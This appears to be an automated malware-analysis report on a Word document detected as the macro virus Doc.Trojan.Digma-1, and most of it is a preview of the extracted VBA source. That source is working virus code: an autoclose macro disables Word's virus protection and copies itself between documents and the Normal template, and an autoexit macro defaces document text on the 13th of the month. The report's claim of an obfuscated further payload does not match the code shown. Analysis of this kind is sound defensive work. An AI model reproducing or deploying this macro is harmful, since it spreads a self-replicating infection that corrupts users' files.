MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Digma-1. It contains VBA macros, specifically an Auto_Close macro, which is a common technique for executing malicious code upon document closure. The macro's intent appears to be the execution of further malicious payloads, although the exact mechanism is obfuscated.
Heuristics 4
-
ClamAV: Doc.Trojan.Digma-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Digma-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13274 bytes |
SHA-256: 1b84ea47b741e0edb94d3d6be1d7a6a68992448ee9b817c8fc6e3f1c88be9919 |
|||
|
Detection
ClamAV:
Doc.Trojan.Digma-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub autoclose()
' Virus done by DigitalMadman
Dim ditdgfgdfhsdf As Boolean
ditdgfgdfhsdf = False
Options.VirusProtection = ditdgfgdfhsdf
Application.DisplayRecentFiles = True
RecentFiles.Maximum = 4
Dim sad, kio, yji, hjy, grt As String
Dim jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff As String
grt = Options.DefaultFilePath(wdCurrentFolderPath)
hjy = Options.DefaultFilePath(wdUserTemplatesPath)
If grt = hjy Then
grt = Options.DefaultFilePath(wdDocumentsPath)
End If
yji = "NewMacros"
Dim jlp, jpd, lop, sadfas As String
jpd = "\" & NormalTemplate.Name
jlp = hjy + jpd
sadfas = NormalTemplate.FullName
sad = ActiveDocument.FullName
kio = Options.DefaultFilePath(wdUserTemplatesPath)
kio = sad
jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff = sad
Dim fd, abc As String
Dim Notmallitems, Activitems As Byte
Dim ActiveDocitemname As String
Dim safdfasdfasdgsadgh As String
Activitems = ActiveDocument.VBProject.VBComponents.Count
Notmallitems = NormalTemplate.VBProject.VBComponents.Count
abc = Application.MacroContainer
Dim okl As Boolean
If abc = NormalTemplate.Name Then
okl = True
End If
If okl = True Then
Dim tuy As Boolean
If ActiveDocument.Name = NormalTemplate.Name Then
tuy = True
End If
If tuy = False Then
If Activitems > 1 Then
Application.OrganizerDelete Source:=kio, Name _
:=yji, Object:=wdOrganizerObjectProjectItems
End If
sad = jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff
safdfasdfasdgsadgh = sad
Application.OrganizerCopy Source:=jlp, _
Destination:= _
safdfasdfasdgsadgh, Name:=yji, Object _
:=wdOrganizerObjectProjectItems
End If
End If
If Application.MacroContainer <> NormalTemplate.Name Then
If okl = False Then
If Notmallitems > 1 Then
Application.OrganizerDelete Source:=jlp, _
Name:=yji, Object:=wdOrganizerObjectProjectItems
End If
Application.OrganizerCopy Source:=kio, Destination:= _
sadfas, Name:=yji, Object:= _
wdOrganizerObjectProjectItems
If ActiveDocument.Saved = False Then
ActiveDocument.Save
End If
End If
End If
End Sub
Sub autoexit()
Dim hyukjnbfhgdr As String
hyukjnbfhgdr = DateTime.Date
hyukjnbfhgdr = Left(hyukjnbfhgdr, 5)
hyukjnbfhgdr = Right(hyukjnbfhgdr, 2)
If ActiveDocument.Name <> NormalTemplate.Name And ActiveDocument.Saved = True Then
If hyukjnbfhgdr = "13" Then
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "a"
.Replacement.Text = "FUCK"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "o"
.Replacement.Text = "FUCK"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
Selection.GoTo What:=wdGoToLine, Which:=wdGoToFirst, Count:=1, Name:=""
Selection.Find.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.